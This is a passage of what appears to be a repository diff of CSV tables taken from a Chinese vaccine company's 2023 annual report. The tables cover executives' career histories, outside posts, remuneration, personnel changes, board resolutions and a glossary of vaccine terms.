10 吴建华 核心技术人员 49 2009-10-01 - 0 0 0不适用 40.91否
11 合计 / / / / / / 825.08 /

View File

@ -1,3 +0,0 @@
"姓名","主要工作经历"
"余军","1992年8月至1993年10月任临川中心血站技术员1993年11月至2000年12月任博雅生物制药股份有限公司生产经理2001年1月至2002年5月任北京耀华生物技术有限公司总工程师2002年6月至2005年7月任广东佰易药业有限公司副总经理2005年10月至2014年3月任同路生物制药有限公司副总经理2014年6月至2015年5月任海南中和药业有限公司副总经理2015年6月至2023年10月担任公司核心技术人员、董事长、总经理2023年10月至今担任公司核心技术人员、董事长。"
"张良斌","1999年2月至2000年5月任博雅生物制药股份有限公司出纳2000年5月至2001年10月任广东康之选医药连锁有限公司配送中心经理2001年10月至2005年12月任广东佰易药业有限公司销售部经理2006年1月至今任同路生物制药有限公司副总经理2017"
1 姓名 主要工作经历
2 余军 1992年8月至1993年10月任临川中心血站技术员;1993年11月至2000年12月任博雅生物制药股份有限公司生产经理;2001年1月至2002年5月任北京耀华生物技术有限公司总工程师;2002年6月至2005年7月任广东佰易药业有限公司副总经理;2005年10月至2014年3月任同路生物制药有限公司副总经理;2014年6月至2015年5月任海南中和药业有限公司副总经理;2015年6月至2023年10月担任公司核心技术人员、董事长、总经理,2023年10月至今担任公司核心技术人员、董事长。
3 张良斌 1999年2月至2000年5月任博雅生物制药股份有限公司出纳;2000年5月至2001年10月任广东康之选医药连锁有限公司配送中心经理;2001年10月至2005年12月任广东佰易药业有限公司销售部经理;2006年1月至今任同路生物制药有限公司副总经理;2017

View File

@ -1,12 +0,0 @@
"","年2月至今任浙江海康生物制品有限责任公司董事2016年8月至今担任广东上量投资有限公司监事2015年6月至今任公司董事。"
"聂申钱","1969年2月至1987年11月任中国人民解放军海军航空兵部队干部1987年12月至1993年8月任中国预防医学科学院中预公司经理1993年9月至2011年9月任中信医药实业有限公司总经理2011年10月至2013年12月任上药科园信海医药有限公司党委书记2014年7月至2016年11月任海南中和药业有限公司董事兼总经理2016年11月至今任海南中和药业股份有限公司董事、高级顾问2020年4月至今担任海南妙峰山健康产业有限公司执行董事兼总经理2015年6月至今任公司董事。"
"夏建国","1995年8月至1998年8月任南京药械厂制药机械研究所设计师1998年8月至2000年12月任博雅生物制药股份有限公司冻干技师2001年1月至2002年8月任深圳海普瑞生物技术有限公司工程部主管2002年9月至2005年12月任广东佰易药业有限公司工程部经理2006年1月至2015年5月任同路生物制药有限公司项目总监2015年6月至今担任公司董事、副总经理。"
"邵蓉","2020年6月至今担任公司独立董事。现就职于中国药科大学任国家药物政策与医药产业经济研究中心执行副主任教授、博士生导师兼任天境生物I-Mab独立董事、江苏当代国安律师事务所执业律师、中国药学会理事、中国药品监督管理研究会政策与法规专业委员会主任委员、中国药促会监事等职。"
"管建强","2020年6月至今担任公司独立董事。现担任华东政法大学教授和博士生导师兼任江苏图南合金股份有限公司独立董事。"
"程华(辞职)","2020年6月至2023年12月担任公司独立董事。现担任财政部会计准则委员会高级会计师兼任中国财政科学研究院硕士生导师、湘财股份有限公司独立董事、悦康药业集团股份有限公司独立董事、山东步长制药股份有限公司独立董事等职。"
"魏大昌","1988年11月至1993年9月任成都军区后勤部供血站精制组长1993年9月至1998年11月任江西省博达生物工程研究所工程师1998年11月至2005年3月任广东湛江双林生物制药有限公司总经理助理兼生产部部长2005年3月至2005年10月任广东佰易药业有限公司生产部经理2005年11月至2016年6月任同路生物制药有限公司生产部经理2016年6月至2018年5月任中科生物制药有限公司血制项目总监2018年6月至2019年6月任通盈生物制药有限公司血制项目总监2019年7月至今任公司包装部经理总监2020年6月至今任公司监事会主席。"
"余晖晟","2017年2月至今为公司车间员工2020年6月至今任公司职工代表监事。"
"黄玲","1988年9月至1993年10月任北京东风制药厂技术员1993年10月至1995年8月任北京亚都生物公司技术员1997年10月至2003年3月任北京巨能公司研究员2003年3月至今任北京秦脉医药咨询有限责任公司咨询师2020年6月至今任公司监事。"
"张建辉","1975年1月至1997年12月在江西省抚州地区煤炭公司任职1998年1月至2007年1月任江西省崇仁县单采血浆站站长2007年2月至2009年1月任博雅生物制药股份有限公司副总经理2009年2月至2011年12月任同路生物制药有限公司血浆部副总经理2012年1月至今任郴州市云鼎房地产有限公司董事长2020年5月至今任福建省宏冠房地产开发有限公司董事长2023年10月至今担任公司总经理。"
"任晚琼(离职)","1993年8月至2010年7月任职于河南欣泰药业有限公司历任质检科职员、质检科主任、质量保证部部长、副总经理2010年8月至2015年2月任河南远大生物制药有限公司副总经理2015年6月至2019年6月任公司质量总监2019年6月至2023年10月任公司副总经理。"
"樊长勇","2001年7月至2004年1月任上海九鼎粉体材料有限公司技术员2004年1月至2007年7月任上海界龙实业股份有限公司高级经理2007年7月至2009年8月任国信证券股份有限公司投资银行高级经理2009年9月至2015年6月任中信证券股份有限公司投资银行"
1 年2月至今任浙江海康生物制品有限责任公司董事;2016年8月至今担任广东上量投资有限公司监事;2015年6月至今任公司董事。
2 聂申钱 1969年2月至1987年11月任中国人民解放军海军航空兵部队干部;1987年12月至1993年8月任中国预防医学科学院中预公司经理;1993年9月至2011年9月任中信医药实业有限公司总经理;2011年10月至2013年12月任上药科园信海医药有限公司党委书记;2014年7月至2016年11月任海南中和药业有限公司董事兼总经理;2016年11月至今任海南中和药业股份有限公司董事、高级顾问;2020年4月至今担任海南妙峰山健康产业有限公司执行董事兼总经理;2015年6月至今任公司董事。
3 夏建国 1995年8月至1998年8月任南京药械厂制药机械研究所设计师;1998年8月至2000年12月任博雅生物制药股份有限公司冻干技师;2001年1月至2002年8月任深圳海普瑞生物技术有限公司工程部主管;2002年9月至2005年12月任广东佰易药业有限公司工程部经理;2006年1月至2015年5月任同路生物制药有限公司项目总监;2015年6月至今担任公司董事、副总经理。
4 邵蓉 2020年6月至今担任公司独立董事。现就职于中国药科大学,任国家药物政策与医药产业经济研究中心执行副主任,教授、博士生导师,兼任天境生物(I-Mab)独立董事、江苏当代国安律师事务所执业律师、中国药学会理事、中国药品监督管理研究会政策与法规专业委员会主任委员、中国药促会监事等职。
5 管建强 2020年6月至今担任公司独立董事。现担任华东政法大学教授和博士生导师,兼任江苏图南合金股份有限公司独立董事。
6 程华(辞职) 2020年6月至2023年12月,担任公司独立董事。现担任财政部会计准则委员会高级会计师,兼任中国财政科学研究院硕士生导师、湘财股份有限公司独立董事、悦康药业集团股份有限公司独立董事、山东步长制药股份有限公司独立董事等职。
7 魏大昌 1988年11月至1993年9月,任成都军区后勤部供血站精制组长;1993年9月至1998年11月,任江西省博达生物工程研究所工程师;1998年11月至2005年3月,任广东湛江双林生物制药有限公司总经理助理兼生产部部长;2005年3月至2005年10月,任广东佰易药业有限公司生产部经理;2005年11月至2016年6月,任同路生物制药有限公司生产部经理;2016年6月至2018年5月,任中科生物制药有限公司血制项目总监;2018年6月至2019年6月,任通盈生物制药有限公司血制项目总监;2019年7月至今任公司包装部经理(总监),2020年6月至今任公司监事会主席。
8 余晖晟 2017年2月至今为公司车间员工,2020年6月至今任公司职工代表监事。
9 黄玲 1988年9月至1993年10月任北京东风制药厂技术员;1993年10月至1995年8月,任北京亚都生物公司技术员;1997年10月至2003年3月,任北京巨能公司研究员;2003年3月至今任北京秦脉医药咨询有限责任公司咨询师;2020年6月至今任公司监事。
10 张建辉 1975年1月至1997年12月在江西省抚州地区煤炭公司任职;1998年1月至2007年1月任江西省崇仁县单采血浆站站长;2007年2月至2009年1月任博雅生物制药股份有限公司副总经理;2009年2月至2011年12月任同路生物制药有限公司血浆部副总经理;2012年1月至今任郴州市云鼎房地产有限公司董事长;2020年5月至今任福建省宏冠房地产开发有限公司董事长,2023年10月至今担任公司总经理。
11 任晚琼(离职) 1993年8月至2010年7月任职于河南欣泰药业有限公司,历任质检科职员、质检科主任、质量保证部部长、副总经理;2010年8月至2015年2月任河南远大生物制药有限公司副总经理;2015年6月至2019年6月任公司质量总监;2019年6月至2023年10月任公司副总经理。
12 樊长勇 2001年7月至2004年1月任上海九鼎粉体材料有限公司技术员;2004年1月至2007年7月任上海界龙实业股份有限公司高级经理;2007年7月至2009年8月任国信证券股份有限公司投资银行高级经理;2009年9月至2015年6月任中信证券股份有限公司投资银行

View File

@ -1,7 +0,0 @@
"","委员会副总裁VP、高级副总裁SVP、保荐代表人2016年4月至2020年4月任上海莱士血液制品股份有限公司董事长助理2018年9月至2020年4月任同方莱士医药产业投资广东有限公司总经理2020年5月至2024年1月任公司副总经理兼董事会秘书。"
"田国雄","2002年7月至2005年12月先后任广东佰易药业有限公司地区商务经理、地区销售经理2006年1月至2022年3月先后任同路生物制药有限公司地区销售经理、大区销售经理、大区销售总监。2022年5月起任公司副总经理。"
"滕红刚(离职)","1995年9月至2000年7月在长春生物制品所病毒研究室工作2003年7月在长春生物制品所获得免疫学硕士学位2006年7月在吉林大学生命科学学院获得生物化学与分子生物学专业博士学位2006年10月至2007年4月任中国科学院广州生物医药与健康研究院研究助理2007年6月至2009年6月任吉林亚泰生物药业股份有限公司副总经理2009年6月至2011年10月任鸿达生物药业长春股份有限公司副总经理2011年12月至2015年5月任长春卫尔赛生物药业有限公司生产总监2015年8月至2016年5月任霍普金斯医药研究院长春分院院长2016年8月至2022年3月先后任辽宁依生生物制药有限公司副总经理、总经理。2022年5月至2023年5月任公司副总经理。"
"黄强","2002年7月至2016年3月历任河南神火煤电股份有限公司000933.SZ财务部科员、副科长、科长2016年4月至2021年3月历任海南中和药业股份有限公司证券事务代表、董事会办公室主任、财务副总监、总经理助理2021年4月至2022年4月任江苏金迪克生物技术股份有限公司财务副总监。2022年4月起任公司财务总监。"
"李志刚(离职)","2008年3月至2010年3月任牛津大学高级研究助理2010年8月至2012年10月任北京必威安泰生物科技有限公司研发项目负责人2012年10月至2018年3月任北京生物制品研究所有限公司经理、副主任等职2018年4月至2019年7月任中国生物技术股份有限公司部长助理2019年8月至2021年5月任北京民海生物科技有限公司质量合规总监2021年5月至2022年4月任斯微上海生物科技有限公司副总裁2022年5月至2023年10月任君拓生物医药科技海南有限公司副总裁。2023年10月至2023年12月担任公司副总经理。"
"赵巍(离职)","2000年10月至2002年9月任武汉海特生物制药股份有限公司员工2002年9月至2004年6月就读于华中科技大学同济医学院获学士学位2005年9月至2007年6月就读于武汉大学获硕士学位2007年7月至2023年3月历任武汉生物制品研究所有限责任公司流感疫苗课题组第二课题负责人、病毒性疫苗研究二室主任、流感病毒疫苗室主任。2023年3月至2023年10月任上海君拓生物医药科技有限公司总裁助理兼无锡君和生物医药科技有限公司副总经理。2023年10月至2023年12月担任公司副总经理。"
"吴建华","1998年6月至2003年3月任浙江天元生物药业股份有限公司生产技术员、研发助理工程师2003年3月至2009年9月任北京金迪克生物技术研究所研发主管2009年10月至今任公司质量控制部经理。吴建华主要负责公司四价流感病毒裂解疫苗的临床前和临床试验研究、生产工艺研究和质量控制研究工作以及公司冻干人用狂犬病疫苗Vero细胞、四价流感病毒裂解疫苗儿童、四价流感病毒裂解疫苗高剂量、冻干水痘减毒活疫苗、冻干带状疱疹减毒活疫苗等在研项目的质量控制研究工作。"
1 委员会副总裁(VP)、高级副总裁(SVP)、保荐代表人;2016年4月至2020年4月任上海莱士血液制品股份有限公司董事长助理,2018年9月至2020年4月任同方莱士医药产业投资(广东)有限公司总经理;2020年5月至2024年1月任公司副总经理兼董事会秘书。
2 田国雄 2002年7月至2005年12月先后任广东佰易药业有限公司地区商务经理、地区销售经理,2006年1月至2022年3月先后任同路生物制药有限公司地区销售经理、大区销售经理、大区销售总监。2022年5月起任公司副总经理。
3 滕红刚(离职) 1995年9月至2000年7月在长春生物制品所病毒研究室工作,2003年7月在长春生物制品所获得免疫学硕士学位,2006年7月在吉林大学生命科学学院获得生物化学与分子生物学专业博士学位,2006年10月至2007年4月任中国科学院广州生物医药与健康研究院研究助理,2007年6月至2009年6月任吉林亚泰生物药业股份有限公司副总经理,2009年6月至2011年10月任鸿达生物药业长春股份有限公司副总经理,2011年12月至2015年5月任长春卫尔赛生物药业有限公司生产总监,2015年8月至2016年5月任霍普金斯医药研究院长春分院院长,2016年8月至2022年3月先后任辽宁依生生物制药有限公司副总经理、总经理。2022年5月至2023年5月任公司副总经理。
4 黄强 2002年7月至2016年3月历任河南神火煤电股份有限公司(000933.SZ)财务部科员、副科长、科长;2016年4月至2021年3月历任海南中和药业股份有限公司证券事务代表、董事会办公室主任、财务副总监、总经理助理;2021年4月至2022年4月任江苏金迪克生物技术股份有限公司财务副总监。2022年4月起任公司财务总监。
5 李志刚(离职) 2008年3月至2010年3月任牛津大学高级研究助理;2010年8月至2012年10月任北京必威安泰生物科技有限公司研发项目负责人;2012年10月至2018年3月任北京生物制品研究所有限公司经理、副主任等职;2018年4月至2019年7月任中国生物技术股份有限公司部长助理;2019年8月至2021年5月任北京民海生物科技有限公司质量合规总监;2021年5月至2022年4月任斯微(上海)生物科技有限公司副总裁;2022年5月至2023年10月任君拓生物医药科技(海南)有限公司副总裁。2023年10月至2023年12月担任公司副总经理。
6 赵巍(离职) 2000年10月至2002年9月任武汉海特生物制药股份有限公司员工;2002年9月至2004年6月就读于华中科技大学同济医学院,获学士学位;2005年9月至2007年6月就读于武汉大学,获硕士学位;2007年7月至2023年3月历任武汉生物制品研究所有限责任公司流感疫苗课题组第二课题负责人、病毒性疫苗研究二室主任、流感病毒疫苗室主任。2023年3月至2023年10月任上海君拓生物医药科技有限公司总裁助理(兼无锡君和生物医药科技有限公司副总经理)。2023年10月至2023年12月担任公司副总经理。
7 吴建华 1998年6月至2003年3月,任浙江天元生物药业股份有限公司生产技术员、研发助理工程师;2003年3月至2009年9月,任北京金迪克生物技术研究所研发主管;2009年10月至今任公司质量控制部经理。吴建华主要负责公司四价流感病毒裂解疫苗的临床前和临床试验研究、生产工艺研究和质量控制研究工作,以及公司冻干人用狂犬病疫苗(Vero细胞)、四价流感病毒裂解疫苗(儿童)、四价流感病毒裂解疫苗(高剂量)、冻干水痘减毒活疫苗、冻干带状疱疹减毒活疫苗等在研项目的质量控制研究工作。

View File

@ -1,4 +0,0 @@
"任职人员姓名","股东单位名称","在股东单位担任的职务","","任期起始日期任期终止日期"
"余军","泰州同泽","执行事务合伙人","2020年5月",""
"张良斌","泰州同人","执行事务合伙人","2020年5月",""
"在股东单位任职情况的说明","不适用","不适用","不适用","不适用"
1 任职人员姓名 股东单位名称 在股东单位担任的职务 任期起始日期任期终止日期
2 余军 泰州同泽 执行事务合伙人 2020年5月
3 张良斌 泰州同人 执行事务合伙人 2020年5月
4 在股东单位任职情况的说明 不适用 不适用 不适用 不适用

View File

@ -1,19 +0,0 @@
"任职人员姓名","其他单位名称","在其他单位担任的职务","任期起始日期","任期终止日期"
"张良斌","同路生物制药有限公司","副总经理","2006年1月",""
"","浙江海康生物制品有限责任公司","董事","2017年2月",""
"","广东上量投资有限公司","监事","2016年8月",""
"聂申钱","海南中和药业股份有限公司","董事、高级顾问","2016年11月",""
"","海南妙峰山健康产业有限公司","执行董事兼总经理","2020年4月",""
"邵蓉","中国药科大学","教授、博士生导师","1983年8月",""
"","天境生物I-Mab","独立董事","2021年6月",""
"","江苏当代国安律师事务所","执业律师","2000年8月",""
"管建强","华东政法大学","教授、博士生导师","1995年5月",""
"","江苏图南合金股份有限公司","独立董事","2018年3月",""
"孙红星","上海财经大学","副教授","2021年6月",""
"","上海雅运纺织化工股份有限公司","独立董事","2023年7月",""
"","苏州世名科技股份有限公司","独立董事","2022年9月",""
"黄玲","北京秦脉医药咨询有限责任公司","咨询师","2003年3月",""
"程华(离职)","湘财股份有限公司","独立董事","2020年8月",""
"","悦康药业集团股份有限公司","独立董事","2019年5月",""
"","山东步长制药股份有限公司","独立董事","2021年6月",""
"在其他单位任职情况的说明","无","无","无","无"
1 任职人员姓名 其他单位名称 在其他单位担任的职务 任期起始日期 任期终止日期
2 张良斌 同路生物制药有限公司 副总经理 2006年1月
3 浙江海康生物制品有限责任公司 董事 2017年2月
4 广东上量投资有限公司 监事 2016年8月
5 聂申钱 海南中和药业股份有限公司 董事、高级顾问 2016年11月
6 海南妙峰山健康产业有限公司 执行董事兼总经理 2020年4月
7 邵蓉 中国药科大学 教授、博士生导师 1983年8月
8 天境生物(I-Mab) 独立董事 2021年6月
9 江苏当代国安律师事务所 执业律师 2000年8月
10 管建强 华东政法大学 教授、博士生导师 1995年5月
11 江苏图南合金股份有限公司 独立董事 2018年3月
12 孙红星 上海财经大学 副教授 2021年6月
13 上海雅运纺织化工股份有限公司 独立董事 2023年7月
14 苏州世名科技股份有限公司 独立董事 2022年9月
15 黄玲 北京秦脉医药咨询有限责任公司 咨询师 2003年3月
16 程华(离职) 湘财股份有限公司 独立董事 2020年8月
17 悦康药业集团股份有限公司 独立董事 2019年5月
18 山东步长制药股份有限公司 独立董事 2021年6月
19 在其他单位任职情况的说明

View File

@ -1,7 +0,0 @@
"董事、监事、高级管理人员报酬的决策程序","根据公司章程规定,公司薪酬与考核委员会对董事、高级管理人员的薪酬政策和方案进行研究和审查,高级管理人员的薪酬方案由董事会批准后执行;董事、监事的薪酬方案由董事会、监事会批准后提交股东大会审议通过后执行。"
"董事在董事会讨论本人薪酬事项时是否回避","是"
"薪酬与考核委员会或独立董事专门会议关于董事、监事、高级管理人员报酬事项发表建议的具体情况","薪酬与考核委员会对董事、高管的薪酬方案和政策均无异议通过。监事会对监事薪酬全体回避,提交股东大会审议,股东大会审议通过。"
"董事、监事、高级管理人员报酬确定依据","担任具体职务的董事、监事,根据其在公司的具体任职岗位领取相应薪酬,未在公司任职的非独立董事不在公司领取薪酬和津贴;独立董事、未在公司任职的监事享有固定数额的津贴,随公司工资发放;高级管理人员薪酬由基本薪酬、年终奖金两部分构成,其中基本薪酬系高级管理人员根据职务等级及职责每月领取的,年终奖金根据年度经营及考核情况发放。"
"董事、监事和高级管理人员报酬的实际支付情况","本报告期内,公司董事、监事和高级管理人员报酬的实际支付与公司披露的情况一致"
"报告期末全体董事、监事和高级管理人员实际获得的报酬合计","784.17"
"报告期末核心技术人员实际获得的报酬合计","169.78"
1 董事、监事、高级管理人员报酬的决策程序 根据公司章程规定,公司薪酬与考核委员会对董事、高级管理人员的薪酬政策和方案进行研究和审查,高级管理人员的薪酬方案由董事会批准后执行;董事、监事的薪酬方案由董事会、监事会批准后提交股东大会审议通过后执行。
2 董事在董事会讨论本人薪酬事项时是否回避
3 薪酬与考核委员会或独立董事专门会议关于董事、监事、高级管理人员报酬事项发表建议的具体情况 薪酬与考核委员会对董事、高管的薪酬方案和政策均无异议通过。监事会对监事薪酬全体回避,提交股东大会审议,股东大会审议通过。
4 董事、监事、高级管理人员报酬确定依据 担任具体职务的董事、监事,根据其在公司的具体任职岗位领取相应薪酬,未在公司任职的非独立董事不在公司领取薪酬和津贴;独立董事、未在公司任职的监事享有固定数额的津贴,随公司工资发放;高级管理人员薪酬由基本薪酬、年终奖金两部分构成,其中基本薪酬系高级管理人员根据职务等级及职责每月领取的,年终奖金根据年度经营及考核情况发放。
5 董事、监事和高级管理人员报酬的实际支付情况 本报告期内,公司董事、监事和高级管理人员报酬的实际支付与公司披露的情况一致
6 报告期末全体董事、监事和高级管理人员实际获得的报酬合计 784.17
7 报告期末核心技术人员实际获得的报酬合计 169.78

View File

@ -1,19 +0,0 @@
"姓名","担任的职务","变动情形","变动原因"
"余军","董事长、战略委员会委员","选举","换届,因个人原因辞去总经理职务,仍然担任董事长、战略委员会委员等职务"
"张良斌","董事","选举","换届"
"聂申钱","董事","选举","换届"
"夏建国","董事、副总经理","选举","换届"
"邵蓉","独立董事","选举","换届"
"管建强","独立董事","选举","换届"
"程华(离职)","独立董事","选举","换届"
"魏大昌","监事会主席","选举","换届"
"黄玲","监事","选举","换届"
"余晖晟","职工代表监事","选举","换届"
"张建辉","总经理","聘任","因经营管理需要聘任"
"田国雄","副总经理","聘任","换届聘任"
"滕红刚(离职)","副总经理","离任","因个人原因辞去职务"
"任晚琼(离职)","副总经理","离任","因个人原因辞去职务"
"樊长勇","副总经理、董事会秘书","聘任","换届聘任"
"黄强","财务总监","聘任","换届聘任"
"李志刚(离职)","副总经理","离任","因个人原因辞去职务"
"赵巍(离职)","副总经理","离任","因个人原因辞去职务"
1 姓名 担任的职务 变动情形 变动原因
2 余军 董事长、战略委员会委员 选举 换届,因个人原因辞去总经理职务,仍然担任董事长、战略委员会委员等职务
3 张良斌 董事 选举 换届
4 聂申钱 董事 选举 换届
5 夏建国 董事、副总经理 选举 换届
6 邵蓉 独立董事 选举 换届
7 管建强 独立董事 选举 换届
8 程华(离职) 独立董事 选举 换届
9 魏大昌 监事会主席 选举 换届
10 黄玲 监事 选举 换届
11 余晖晟 职工代表监事 选举 换届
12 张建辉 总经理 聘任 因经营管理需要聘任
13 田国雄 副总经理 聘任 换届聘任
14 滕红刚(离职) 副总经理 离任 因个人原因辞去职务
15 任晚琼(离职) 副总经理 离任 因个人原因辞去职务
16 樊长勇 副总经理、董事会秘书 聘任 换届聘任
17 黄强 财务总监 聘任 换届聘任
18 李志刚(离职) 副总经理 离任 因个人原因辞去职务
19 赵巍(离职) 副总经理 离任 因个人原因辞去职务

View File

@ -1,27 +0,0 @@
"常用词语释义","常用词语释义","常用词语释义"
"公司、本公司、金迪克、江苏金迪克","指","江苏金迪克生物技术股份有限公司"
"A股","指","境内上市人民币普通股"
"招股说明书","指","江苏金迪克生物技术股份有限公司首次公开发行股票并在科创板上市招股说明书"
"股东大会","指","江苏金迪克生物技术股份有限公司股东大会"
"董事会","指","江苏金迪克生物技术股份有限公司董事会"
"监事会","指","江苏金迪克生物技术股份有限公司监事会"
"泰州同泽","指","泰州同泽企业管理咨询合伙企业(有限合伙)"
"泰州同人","指","泰州同人企业管理咨询合伙企业(有限合伙)"
"《公司法》","指","《中华人民共和国公司法》"
"《公司章程》","指","《江苏金迪克生物技术股份有限公司章程》"
"报告期","指","2023年1月1日至2023年12月31日"
"证监会、中国证监会","指","中国证券监督管理委员会"
"疾控中心","指","疾病预防控制中心,实施国家级疾病预防控制与公共卫生技术管理和服务的公益事业单位"
"中检院","指","中国食品药品检定研究院"
"FDA","指","美国食品药品监督管理局"
"元、万元","指","人民币元、人民币万元"
"剂、万剂、亿剂","指","一针(支/瓶)疫苗制剂、一万针(支/瓶)疫苗制剂、一亿针(支/瓶)疫苗制剂"
"疫苗","指","以病原微生物或其组成成分、代谢产物为起始材料,采用生物技术制备而成,用于预防、治疗人类相应疾病的生物制品"
"抗原","指","能使人和动物体产生免疫反应的一类物质,既能刺激免疫系统产生特异性免疫反应,形成抗体和致敏淋巴细胞,又能与之结合而出现反应。通常是一种蛋白质,但多糖和核酸等也可作为抗原"
"灭活疫苗","指","选用免疫原性强的病毒或细菌培养经灭活剂灭活后制成的疫苗"
"减毒活疫苗","指","通过人工定向变异的方法使病原微生物毒力减弱或丧失,但仍保持良好的免疫原性,用该种活的、变异的病原微生物制成的疫苗"
"冻干疫苗","指","通过冻干方式生产的疫苗,冻干是一种涉及冷冻疫苗、降压及通过升压除冰的低温脱水工艺"
"多糖结合疫苗","指","采用化学方法将多糖共价结合在蛋白载体上所制备成的多糖-蛋白结合疫苗"
"三价流感疫苗","指","含有甲型H1N1亚型、甲型H3N2亚型、乙型Victoria或乙型Yamagata中一种亚型总计覆盖三种分型流感病毒株血凝素抗原的流感疫苗药品名称包括流感全病毒灭活疫苗、流感病毒裂解疫苗、流感病毒亚单位疫苗、冻干鼻喷流感减毒活疫苗等"
"四价流感疫苗","指","含有甲型H1N1亚型、甲型H3N2亚型、乙型Victoria亚型及乙型Yamagata亚型总计覆盖四种分型流感病毒株血凝素抗原的流感疫苗药品名称包括四价流感病毒裂解疫苗、四价流感病毒亚单位疫苗等"
"免疫规划疫苗","指","政府免费向公民提供,公民应当依照政府的规定受种的疫苗,包"
1 常用词语释义 常用词语释义 常用词语释义
2 公司、本公司、金迪克、江苏金迪克 江苏金迪克生物技术股份有限公司
3 A股 境内上市人民币普通股
4 招股说明书 江苏金迪克生物技术股份有限公司首次公开发行股票并在科创板上市招股说明书
5 股东大会 江苏金迪克生物技术股份有限公司股东大会
6 董事会 江苏金迪克生物技术股份有限公司董事会
7 监事会 江苏金迪克生物技术股份有限公司监事会
8 泰州同泽 泰州同泽企业管理咨询合伙企业(有限合伙)
9 泰州同人 泰州同人企业管理咨询合伙企业(有限合伙)
10 《公司法》 《中华人民共和国公司法》
11 《公司章程》 《江苏金迪克生物技术股份有限公司章程》
12 报告期 2023年1月1日至2023年12月31日
13 证监会、中国证监会 中国证券监督管理委员会
14 疾控中心 疾病预防控制中心,实施国家级疾病预防控制与公共卫生技术管理和服务的公益事业单位
15 中检院 中国食品药品检定研究院
16 FDA 美国食品药品监督管理局
17 元、万元 人民币元、人民币万元
18 剂、万剂、亿剂 一针(支/瓶)疫苗制剂、一万针(支/瓶)疫苗制剂、一亿针(支/瓶)疫苗制剂
19 疫苗 以病原微生物或其组成成分、代谢产物为起始材料,采用生物技术制备而成,用于预防、治疗人类相应疾病的生物制品
20 抗原 能使人和动物体产生免疫反应的一类物质,既能刺激免疫系统产生特异性免疫反应,形成抗体和致敏淋巴细胞,又能与之结合而出现反应。通常是一种蛋白质,但多糖和核酸等也可作为抗原
21 灭活疫苗 选用免疫原性强的病毒或细菌培养经灭活剂灭活后制成的疫苗
22 减毒活疫苗 通过人工定向变异的方法使病原微生物毒力减弱或丧失,但仍保持良好的免疫原性,用该种活的、变异的病原微生物制成的疫苗
23 冻干疫苗 通过冻干方式生产的疫苗,冻干是一种涉及冷冻疫苗、降压及通过升压除冰的低温脱水工艺
24 多糖结合疫苗 采用化学方法将多糖共价结合在蛋白载体上所制备成的多糖-蛋白结合疫苗
25 三价流感疫苗 含有甲型H1N1亚型、甲型H3N2亚型、乙型Victoria或乙型Yamagata中一种亚型,总计覆盖三种分型流感病毒株血凝素抗原的流感疫苗,药品名称包括流感全病毒灭活疫苗、流感病毒裂解疫苗、流感病毒亚单位疫苗、冻干鼻喷流感减毒活疫苗等
26 四价流感疫苗 含有甲型H1N1亚型、甲型H3N2亚型、乙型Victoria亚型及乙型Yamagata亚型,总计覆盖四种分型流感病毒株血凝素抗原的流感疫苗,药品名称包括四价流感病毒裂解疫苗、四价流感病毒亚单位疫苗等
27 免疫规划疫苗 政府免费向公民提供,公民应当依照政府的规定受种的疫苗,包

View File

@ -1,3 +0,0 @@
"会议届次","召开日期","会议决议"
"第一届董事会第二十次会议","2023-01-20","审议通过《关于2022年度计提资产减值准备的议案》各项议案均审议通过不存在否决议案的情况。"
"第一届董事会第二十一次会议","2023-04-19","审议通过《关于公司2022年度董事会工作报告的议案》《关于公司2022年度总经理工作报告的议案》《关于公司2022年度财务决算报告的议案》《关于公司2023年度财务预算报告的议案》《关于公司2022年年度报告及其摘要的议案》《关于<2022年度利润分配预案>的议案》《关于<2022年度募集资金存放与使用情况专项报告>的议案》《关于公司2022年度内部控制评价报告的议案》《关于续聘大华会计师事务所特殊普通合伙为公司2023年度审计机构的议案》《关于使用部分暂时闲置募集资金进行现金管理的议案》《关于使用部分暂时闲置自有资金进行现金管理的议案》《关于申请银行授信额度的议案》《关于公司2022年度董事薪酬发放情况及2023年薪酬方案的议案》《关于公司2022年度高级管理人员薪酬发放情况及2023年度薪酬方案的议案》《关于<2022年度董事会审计委员会履职情况报告>的议案》《关于公司2023年度对外捐赠的议案》《关于公司董事会提前换届选举暨提名第二届董事会非独立董事候选人的议案》《关于公司董事会提前换届选举暨提名第二届董事会独立董事候选人的议案》《关于公司2023年第一季度报告的议案》《关于提请召开2022年年度股东大会的议案》。各项议案均审议通过不存在否决议案的情况。"
1 会议届次 召开日期 会议决议
2 第一届董事会第二十次会议 2023-01-20 审议通过《关于2022年度计提资产减值准备的议案》,各项议案均审议通过,不存在否决议案的情况。
3 第一届董事会第二十一次会议 2023-04-19 审议通过《关于公司2022年度董事会工作报告的议案》《关于公司2022年度总经理工作报告的议案》《关于公司2022年度财务决算报告的议案》《关于公司2023年度财务预算报告的议案》《关于公司2022年年度报告及其摘要的议案》《关于<2022年度利润分配预案>的议案》《关于<2022年度募集资金存放与使用情况专项报告>的议案》《关于公司2022年度内部控制评价报告的议案》《关于续聘大华会计师事务所(特殊普通合伙)为公司2023年度审计机构的议案》《关于使用部分暂时闲置募集资金进行现金管理的议案》《关于使用部分暂时闲置自有资金进行现金管理的议案》《关于申请银行授信额度的议案》《关于公司2022年度董事薪酬发放情况及2023年薪酬方案的议案》《关于公司2022年度高级管理人员薪酬发放情况及2023年度薪酬方案的议案》《关于<2022年度董事会审计委员会履职情况报告>的议案》《关于公司2023年度对外捐赠的议案》《关于公司董事会提前换届选举暨提名第二届董事会非独立董事候选人的议案》《关于公司董事会提前换届选举暨提名第二届董事会独立董事候选人的议案》《关于公司2023年第一季度报告的议案》《关于提请召开2022年年度股东大会的议案》。各项议案均审议通过,不存在否决议案的情况。

View File

@ -1,11 +0,0 @@
"","","括国家免疫规划确定的疫苗,省、自治区、直辖市人民政府在执行国家免疫规划时增加的疫苗以及县级以上人民政府或者其卫生主管部门组织的应急接种或者群体性预防接种所使用的疫苗"
"批签发","指","国家对疫苗类制品、血液制品、用于血源筛查的体外生物诊断试剂以及国家药品监督管理局规定的其他生物制品,每批制品出厂上市或者进口时进行强制性检验、审核的制度。未通过批签发的产品,不得上市或者进口"
"临床前研究","指","包括药物的合成工艺、提取方法、理化性质及纯度、剂型选择、处方筛选、制备工艺、检验方法、质量指标、稳定性、药理、毒理等"
"临床研究","指","药品研发中的阶段一般指从获得临床研究批件到完成I、II、III期临床试验获得临床研究总结报告之间的阶段。药品临床试验分为I、II、III、IV期其中IV期临床试验在药品批准上市后进行"
"药品注册批件","指","国家药品监督管理局颁发的允许药品企业进行某特定药品生产的批准文件"
